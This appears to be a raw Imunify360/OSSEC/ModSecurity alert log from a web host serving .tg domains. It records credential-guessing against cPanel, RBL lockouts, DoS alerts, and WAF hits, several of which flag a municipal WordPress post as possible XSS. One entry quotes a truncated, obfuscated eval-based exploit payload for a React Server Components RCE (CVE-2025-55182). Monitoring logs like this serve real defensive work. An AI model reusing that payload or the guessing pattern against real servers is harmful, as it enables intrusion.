[2026-06-25 13:25:12 +0000] info [cpaneld] 177.249.68.167 - delxi "GET /login/?login_only=1&user=delxi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 13:24:27 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.237.89.60
country_id: 1880251
description:
[2026-06-25 13:24:54 +0000] info [cpaneld] 172.237.89.60 - cpsess7727697097frontendpaper_lanternwp-toolkitindex.live.php "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.102.84
country_id: 1643084
description:
Jun 25 13:24:57 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.102.84 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.96.210.119
country_id: 298795
description:
[2026-06-25 13:25:01 +0000] info [cpaneld] 85.96.210.119 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.244.231.81
country_id: 3996063
description:
[2026-06-25 13:25:08 +0000] info [cpaneld] 177.244.231.81 - delxiatg "GET /login/?login_only=1&user=delxiatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxiatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.39.221.189
country_id: 285570
description:
[2026-06-25 13:25:21 +0000] info [cpaneld] 37.39.221.189 - del "GET /login/?login_only=1&user=del&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user del (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.34.160.4
country_id: 2017370
description:
[2026-06-25 13:25:24 +0000] info [cpaneld] 178.34.160.4 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.232.182.209
country_id: 2017370
description:
[2026-06-25 13:26:05 +0000] info [cpaneld] 188.232.182.209 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.139.232.174
country_id: 2017370
description:
[2026-06-25 13:26:15 +0000] info [cpaneld] 5.139.232.174 - cogeris "GET /login/?login_only=1&user=cogeris&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeris (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.203.134
country_id: 3658394
description:
[2026-06-25 13:26:18 +0000] info [cpaneld] 157.100.203.134 - cogeri "GET /login/?login_only=1&user=cogeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.160.98
country_id: 2363686
description:
[2026-06-25 13:26:11 +0000] info [cpaneld] 102.64.160.98 - cogerisqtg "GET /login/?login_only=1&user=cogerisqtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisqtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.93.74.242
country_id: 1282988
description:
[2026-06-25 13:26:09 +0000] info [cpaneld] 182.93.74.242 - cogerisq "GET /login/?login_only=1&user=cogerisq&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cogerisq (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.56.194.185
country_id: 99237
description:
[2026-06-25 13:26:20 +0000] info [cpaneld] 185.56.194.185 - coger "GET /login/?login_only=1&user=coger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user coger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.108.55.98
country_id: 2017370
description:
[2026-06-25 13:26:25 +0000] info [cpaneld] 109.108.55.98 - cog "GET /login/?login_only=1&user=cog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.143.58.204
country_id: 1733045
description:
[2026-06-25 13:26:29 +0000] info [cpaneld] 175.143.58.204 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 25 13:28:11 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.209.187.90
country_id: 1643084
description:
[2026-06-25 13:30:18 +0000] info [cpaneld] 103.209.187.90 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: bieredjama.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"_13250481\":\"66d0\",\"reason\":-1,\"_response\":{\"_prefix\":\"var qei=[].slice.call(arguments,1)[0];var rhfwx=qei;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.96.219.86
country_id: 2589581
description:
[2026-06-25 13:30:25 +0000] info [cpaneld] 105.96.219.86 - nstreamprocom "GET /login/?login_only=1&user=nstreamprocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamprocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.94.24.118
country_id: 3996063
description:
[2026-06-25 13:30:33 +0000] info [cpaneld] 200.94.24.118 - nstream "GET /login/?login_only=1&user=nstream&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.240.187
country_id: 2542007
description:
[2026-06-25 13:30:36 +0000] info [cpaneld] 160.178.240.187 - nstrea "GET /login/?login_only=1&user=nstrea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstrea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.200.39.214
country_id: 3469034
description:
[2026-06-25 13:30:41 +0000] info [cpaneld] 177.200.39.214 - nstre "GET /login/?login_only=1&user=nstre&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstre (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.236.89.179
country_id: 3932488
description:
[2026-06-25 13:30:44 +0000] info [cpaneld] 190.236.89.179 - nstr "GET /login/?login_only=1&user=nstr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.23.14
country_id: 2921044
description:
[2026-06-25 13:30:52 +0000] info [cpaneld] 92.208.23.14 - ns "GET /login/?login_only=1&user=ns&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ns (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [25/Jun/2026:13:31:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210221&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgroupe-facebook%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782394302 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/groupe-facebook/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: daula.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 59.15.180.231
country_id: 1835841
description:
59.15.180.231 - - [25/Jun/2026:13:33:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301787&pdata=https%253A%252F%252Fwebmail.snovich.free.netmaster.tg%252F%253Flocale%253Dpl&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782394436 HTTP/2.0" 302 0 webmail.snovich.free.netmaster.tg "https://webmail.snovich.free.netmaster.tg/?locale=pl" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:59.15.180.231


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.46.232.243
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 193.46.232.243: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 206.84.204.61
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 206.84.204.61: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 206.84.204.62
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 206.84.204.62: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.46.232.244
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 193.46.232.244: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.160.96
country_id: 1643084
description:
[2026-06-25 13:35:43 +0000] info [cpaneld] 103.59.160.96 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.238.231.31
country_id: 6252001
description:
185.238.231.31 - - [25/Jun/2026:13:36:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792409&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782394565 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.238.231.31


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13463,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-25-at-06.29.39-1024x1024.jpeg\" alt=\"\" class=\"wp-image-13463\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>la commune des lacs 1 en collaboration avec le centre urbain de business et d'entrepreneuriat (cube), organise dans le cadre des vacances socolaires 2026, une session de formation d'initiation \xc3\xa0 l'informatique pour les \xc3\xa9l\xc3\xa8ves des coll\xc3\xa8ges et lyc\xc3\xa9es d'an\xc3\xa9ho et de ses environs. plus de d\xc3\xa9tails \xc3\xa0 lire dans le communiqu\xc3\xa9 ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13464,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"comminique_n.017\"></object><a id=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\">comminique_n.017</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p>cellule </p>\n<!-- /wp:paragraph -->||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 76.71.208.20
country_id: 6251999
description:
76.71.208.20 - - [25/Jun/2026:13:35:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984602&pdata=https%253A%252F%252Fcpanel.kifchange.free.netmaster.tg%252F%253Flocale%253Dro&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782394550 HTTP/2.0" 302 0 cpanel.kifchange.free.netmaster.tg "https://cpanel.kifchange.free.netmaster.tg/?locale=ro" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:76.71.208.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.115.242.53
country_id: 1562822
description:
[2026-06-25 13:36:27 +0000] info [cpaneld] 42.115.242.53 - anamek "GET /login/?login_only=1&user=anamek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anamek (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13463,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-25-at-06.29.39-1024x1024.jpeg\" alt=\"\" class=\"wp-image-13463\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>la commune des lacs 1 en collaboration avec le centre urbain de business et d'entrepreneuriat (cube), organise dans le cadre des vacances socolaires 2026, une session de formation d'initiation \xc3\xa0 l'informatique pour les \xc3\xa9l\xc3\xa8ves des coll\xc3\xa8ges et lyc\xc3\xa9es d'an\xc3\xa9ho et de ses environs. plus de d\xc3\xa9tails \xc3\xa0 lire dans le communiqu\xc3\xa9 ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13464,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"comminique_n.017\"></object><a id=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\">comminique_n.017</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>contact : communication@lacs1.mairie.tg/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.61.247.30
country_id: 3686110
description:
[2026-06-25 13:36:22 +0000] info [cpaneld] 181.61.247.30 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.106.38.58
country_id: 99237
description:
[2026-06-25 13:37:13 +0000] info [cpaneld] 91.106.38.58 - dkfoo "GET /login/?login_only=1&user=dkfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoo (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.204.20.65
country_id: 2589581
description:
[2026-06-25 13:36:36 +0000] info [cpaneld] 197.204.20.65 - aname "GET /login/?login_only=1&user=aname&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aname (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.20.206.243
country_id: 1643084
description:
[2026-06-25 13:36:43 +0000] info [cpaneld] 157.20.206.243 - ana "GET /login/?login_only=1&user=ana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ana (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.6.13.106
country_id: 3508796
description:
[2026-06-25 13:36:46 +0000] info [cpaneld] 186.6.13.106 - an "GET /login/?login_only=1&user=an&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user an (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.111.41.111
country_id: 1327865
description:
[2026-06-25 13:37:00 +0000] info [cpaneld] 37.111.41.111 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.75.184.91
country_id: 2542007
description:
[2026-06-25 13:37:03 +0000] info [cpaneld] 196.75.184.91 - dkfood "GET /login/?login_only=1&user=dkfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfood (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13463,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-25-at-06.29.39-1024x1024.jpeg\" alt=\"\" class=\"wp-image-13463\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>la commune des lacs 1 en collaboration avec le centre urbain de business et d'entrepreneuriat (cube), organise dans le cadre des vacances socolaires 2026, une session de formation d'initiation \xc3\xa0 l'informatique \xc3\xa0 l'intention de \xc3\xa9l\xc3\xa8ves des coll\xc3\xa8ges et lyc\xc3\xa9es d'an\xc3\xa9ho et de ses environs. plus de d\xc3\xa9tails \xc3\xa0 lire dans le communiqu\xc3\xa9 ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13464,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"comminique_n.017\"></object><a id=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\">comminique_n.017</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>contact : communication@lacs1.mairie.tg/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.207.255.169
country_id: 2017370
description:
[2026-06-25 13:38:44 +0000] info [cpaneld] 31.207.255.169 - sotranetogo "GET /login/?login_only=1&user=sotranetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.54.205.152
country_id: 3469034
description:
[2026-06-25 13:38:48 +0000] info [cpaneld] 177.54.205.152 - sotranetogocom "GET /login/?login_only=1&user=sotranetogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 39.33.104.58
country_id: 1168579
description:
[2026-06-25 13:38:59 +0000] info [cpaneld] 39.33.104.58 - sotran "GET /login/?login_only=1&user=sotran&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotran (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13463,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/whatsapp-image-2026-06-25-at-06.29.39-1024x1024.jpeg\" alt=\"\" class=\"wp-image-13463\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>la commune des lacs 1 en collaboration avec le centre urbain de business et d'entrepreneuriat (cube), organise dans le cadre des vacances socolaires 2026, une session de formation d'initiation \xc3\xa0 l'informatique \xc3\xa0 l'intention des coll\xc3\xa9giens et lyc\xc3\xa9ens d'an\xc3\xa9ho et de ses environs. plus de d\xc3\xa9tails \xc3\xa0 lire dans le communiqu\xc3\xa9 ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13464,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"comminique_n.017\"></object><a id=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\">comminique_n.017</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/06/comminique_n.017.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-6ce59d76-ebbf-4c64-99a2-4f97093d8c8e\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p><strong>cellule communication commune des lacs 1</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>contact : communication@lacs1.mairie.tg/tel : 23 30 17 63</strong></p>\n<!-- /wp:paragraph -->||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 13:38:28 +0000] info [cpaneld] 37.130.84.20 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.114.66.99
country_id: 3017382
description:
[2026-06-25 13:38:54 +0000] info [cpaneld] 83.114.66.99 - sotrane "GET /login/?login_only=1&user=sotrane&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotrane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.188.108.165
country_id: 3996063
description:
[2026-06-25 13:38:40 +0000] info [cpaneld] 45.188.108.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.222.99.10
country_id: 2017370
description:
[2026-06-25 13:38:50 +0000] info [cpaneld] 77.222.99.10 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.189.36.179
country_id: 2921044
description:
[2026-06-25 13:39:02 +0000] info [cpaneld] 77.189.36.179 - sotra "GET /login/?login_only=1&user=sotra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotra (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.242.221.176
country_id: 3469034
description:
[2026-06-25 13:39:07 +0000] info [cpaneld] 191.242.221.176 - sot "GET /login/?login_only=1&user=sot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sot (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
